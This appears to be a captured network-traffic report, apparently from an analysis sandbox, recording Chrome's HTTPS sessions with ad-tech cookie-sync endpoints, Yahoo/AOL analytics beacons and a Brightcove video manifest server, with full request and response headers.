2024-05-23 22:35:09 UTC	764	IN	HTTP/1.1 302 Cache-Control: no-cache, must-revalidate Date: Thu, 23 May 2024 22:35:08 GMT Expires: Fri, 01 Jan 1990 00:00:00 GMT Location: https://pm.w55c.net/ping_match.gif?scc=1&ei=MEDIANET&rurl=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3595052986404735000V10%26type%3Ddxu%26refUrl%3D%26vid%3D65037015853595052986404735000V10%26axid_e%3D%26ovsid%3D_wfivefivec_ Pragma: no-cache Server: PingMatch/v2.0.30-803-g63cf649#rel-ec2-master i-001c45a0648e2a03d@eu-central-1b@dxedge-app-eu-central-1-prod-asg Set-Cookie: wfivefivec=K0DIBbMP1Sah1H5; Domain=.w55c.net; Expires=Mon, 23 Jun 2025 08:35:09 GMT; Path=/; SameSite=None; Secure Strict-Transport-Security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
529	192.168.2.6	50318	34.255.48.153	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:09 UTC	642	OUT	GET /cookie-sync/rp?bee_sync_partners=rp&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: match.prod.bidr.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:09 UTC	411	IN	HTTP/1.1 303 See Other Date: Thu, 23 May 2024 22:35:09 GMT location: https://match.prod.bidr.io/cookie-sync/rp?bee_sync_partners=rp&gdpr=0&us_privacy=1YNN&_bee_ppp=1 Server: gunicorn set-cookie: checkForPermission=ok; Domain=bidr.io; expires=Thu, 23 May 2024 22:45:09 GMT; Path=/; SameSite=None; Secure strict-transport-security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
530	192.168.2.6	50334	185.64.190.81	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:09 UTC	1539	OUT	GET /AdServer/SPug?partnerID=156078&xid=y-tptrnFdE2uVGPHeutxDi92.PqGg2S8o-~A&gdpr=0 HTTP/1.1 Host: image4.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; PugT=1716503704; SPugT=1716503705; chkChromeAb67Sec=3; pi=133799:4; SyncRTB3=1717286400%3A63%7C1719014400%3A203%7C1717632000%3A22_166_13_264_21_56_251_55_54_46_165_220_266_8_234_71_254_3_214_233%7C1717027200%3A2_15_223%7C1721606400%3A69%7C1717718400%3A35
2024-05-23 22:35:09 UTC	408	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 23 May 2024 22:35:08 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: SPugT=1716503708; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 22-Jun-2024 22:35:08 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-05-23 22:35:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
531	192.168.2.6	50344	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:09 UTC	1591	OUT	POST /p?s=1197805788&t=SSWzLQkBlzRz0TfR,0.6142529549400908&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03document.visibilitychange%04A_prets%031716503705%04A_prems%03866%04_E%03dwell%04_ts%031716503705%04_ms%03873%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:09 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:09 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:09 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:09 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
532	192.168.2.6	50347	64.74.236.127	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:09 UTC	740	OUT	GET /usersync/medianet/?puid=${VSID}&cb=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D1%26type%3Dzem%26ovsid%3D__ZUID__ HTTP/1.1 Host: b1sync.zemanta.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zuid=Ldu6nP-f8GRn9WiN8PL4
2024-05-23 22:35:09 UTC	602	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Content-Length: 111 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Thu, 01 Dec 1994 16:00:00 GMT Location: https://contextual.media.net/cksync.php?cs=1&type=zem&ovsid=Ldu6nP-f8GRn9WiN8PL4 P3p: CP="We do not support P3P header." Pragma: no-cache Set-Cookie: zuid=Ldu6nP-f8GRn9WiN8PL4; Path=/; Domain=zemanta.com; Expires=Fri, 23 May 2025 22:35:09 GMT; Max-Age=31536000; Secure; SameSite=None Date: Thu, 23 May 2024 22:35:09 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2024-05-23 22:35:09 UTC	111	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 6e 74 65 78 74 75 61 6c 2e 6d 65 64 69 61 2e 6e 65 74 2f 63 6b 73 79 6e 63 2e 70 68 70 3f 63 73 3d 31 26 61 6d 70 3b 74 79 70 65 3d 7a 65 6d 26 61 6d 70 3b 6f 76 73 69 64 3d 4c 64 75 36 6e 50 2d 66 38 47 52 6e 39 57 69 4e 38 50 4c 34 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://contextual.media.net/cksync.php?cs=1&type=zem&ovsid=Ldu6nP-f8GRn9WiN8PL4">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
533	192.168.2.6	50346	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:09 UTC	1593	OUT	POST /p?s=1197805788&t=CFcuyDNCQJvF6QK4,0.41026582210225304&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03show%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstart%04A_jse%03document.visibilitychange%04A_prets%031716503705%04A_prems%03873%04_E%03dwell%04_ts%031716503705%04_ms%03962%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:09 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:09 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:09 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:09 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
534	192.168.2.6	50219	185.89.210.153	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:09 UTC	836	OUT	GET /prebid/setuid?bidder=rubicon&uid=LWJTZABN-X-K4PW&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=l9feJkDQllA9othKr8ID1vtALy-eG1am64URWo-Hh-HIRPRtJa12ojMlnucbuX1rmNMYn4_yirbzWHGXYPJIXmCPnOsC-rBVbIigEVijp24.; receive-cookie-deprecation=1; uuid2=9165965397510453586
2024-05-23 22:35:09 UTC	1784	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Thu, 23 May 2024 22:35:09 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: a53bd2bb-57c7-4782-b123-a81910856ba1 Set-Cookie: XANDR_PANID=l9feJkDQllA9othKr8ID1vtALy-eG1am64URWo-Hh-HIRPRtJa12ojMlnucbuX1rmNMYn4_yirbzWHGXYPJIXmCPnOsC-rBVbIigEVijp24.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 21-Aug-2024 22:35:09 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: anj=dTM7k!M40DF7/.XF']wIg2GU$idD1q!]tbP6j2F-.aDyjByG0>mcD53/l.RZ>LZqlI`sLCzK3/=qJR:4=sB!$x_+7tgUd; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 21-Aug-2024 22:35:09 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 11-May-2034 22:35:09 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uids=eyJ0ZW1wVUlEcyI6eyJydWJpY29uIjp7InVpZCI6IkxXSlRaQUJOLVgtSzRQVyIsImV4cGlyZXMiOiIyMDI0LTA4LTIxVDIyOjM1OjA5WiJ9fSwiYmlydGhkYXkiOiIyMDI0LTA1LTIzVDIyOjM1OjA5WiJ9; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 21-Aug-2024 22:35:09 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: uuid2=9165965397510453586; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 21-Aug-2024 22:35:09 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.175; 8.46.123.175; 943.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com
2024-05-23 22:35:09 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
535	192.168.2.6	50345	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:09 UTC	1591	OUT	POST /p?s=1197805788&t=WJeyT6pBzfKrEpmL,0.3526293960967486&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03document.visibilitychange%04A_prets%031716503705%04A_prems%03962%04_E%03dwell%04_ts%031716503705%04_ms%03965%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:09 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:09 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:09 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:09 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
536	192.168.2.6	50343	50.57.31.206	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:09 UTC	694	OUT	GET /pubmatic/1/info?sType=sync&sExtCookieId=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&sInitiator=external&gdpr=0&gdpr_consent= HTTP/1.1 Host: uipus.semasio.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:09 UTC	689	IN	HTTP/1.1 302 Found Location: /pubmatic/1/info2?sType=sync&sExtCookieId=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&sInitiator=external&gdpr=0&gdpr_consent= UIP-Response-Status: Ok Frontend-ID: 11 Set-Cookie: SEUNCY=7DCBA62B2341F4EF; Expires=Fri, 23 May 2025 22:35:09 GMT; Path=/; Domain=.semasio.net; SameSite=None; HttpOnly; Secure Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Sat, 01 Jan 2011 12:00:00 GMT P3P: policyref="http://uip.semasio.net/w3c/p3p.xml", CP="NOI PSAa PSDa OUR IND UNI CNT" Pragma: no-cache Connection: close Date: Thu, 23 May 2024 22:35:09 GMT Content-Length: 0 Routing-Server-ID: -1 Access-Control-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
537	192.168.2.6	50352	151.101.66.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:09 UTC	1164	OUT	GET /manifest/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/08aab345-a7a0-4751-97b3-5c0984f74840/6s/rendition.m3u8?fastly_token=NjY1MDFjYzRfMzNhYWI2NTQ0M2EyZjQ2MzY3N2FiYTM2N2MzNzY0NGNmNjFhOWZkMjZjYjM3OTczYTVjODYzZDVmMWE2NDkzMg%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w HTTP/1.1 Host: manifest.prod.boltdns.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:09 UTC	626	IN	HTTP/1.1 200 OK Connection: close Access-Control-Allow-Headers: X-Requested-With,Origin,Range,Accept-Encoding,Referer Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Server,Range,Content-Length,Content-Range Cache-Control: s-maxage=10800, max-age=10800 Content-Type: application/x-mpegURL X-Powered-By: BC X-Powered-From: gantry Date: Thu, 23 May 2024 22:35:09 GMT Via: 1.1 varnish Age: 5 X-Served-By: cache-ewr18166-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1716503709.358315,VS0,VE5 X-Device-Group: desktop-chrome transfer-encoding: chunked
2024-05-23 22:35:09 UTC	5	IN	Data Raw: 31 34 34 0d 0a Data Ascii: 144
2024-05-23 22:35:09 UTC	324	IN	Data Raw: 23 45 58 54 4d 33 55 0a 23 45 58 54 2d 58 2d 56 45 52 53 49 4f 4e 3a 33 0a 23 45 58 54 2d 58 2d 4b 45 59 3a 4d 45 54 48 4f 44 3d 41 45 53 2d 31 32 38 2c 55 52 49 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6e 69 66 65 73 74 2e 70 72 6f 64 2e 62 6f 6c 74 64 6e 73 2e 6e 65 74 2f 6c 69 63 65 6e 73 65 2f 76 31 2f 61 65 73 31 32 38 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 30 34 63 64 30 31 39 36 2d 35 63 65 31 2d 34 33 31 36 2d 61 64 31 35 2d 65 39 37 35 66 66 36 30 35 61 30 38 3f 66 61 73 74 6c 79 5f 74 6f 6b 65 6e 3d 4e 6a 59 31 4d 44 46 6a 59 32 4e 66 4e 6d 5a 6d 4d 44 67 34 59 6a 51 35 4f 57 46 69 4d 7a 6c 69 4d 6a 49 7a 4e 44 56 6a 4d 54 41 77 4e 7a Data Ascii: #EXTM3U#EXT-X-VERSION:3#EXT-X-KEY:METHOD=AES-128,URI="https://manifest.prod.boltdns.net/license/v1/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/04cd0196-5ce1-4316-ad15-e975ff605a08?fastly_token=NjY1MDFjY2NfNmZmMDg4YjQ5OWFiMzliMjIzNDVjMTAwNz
2024-05-23 22:35:09 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-05-23 22:35:09 UTC	5	IN	Data Raw: 32 32 62 0d 0a Data Ascii: 22b
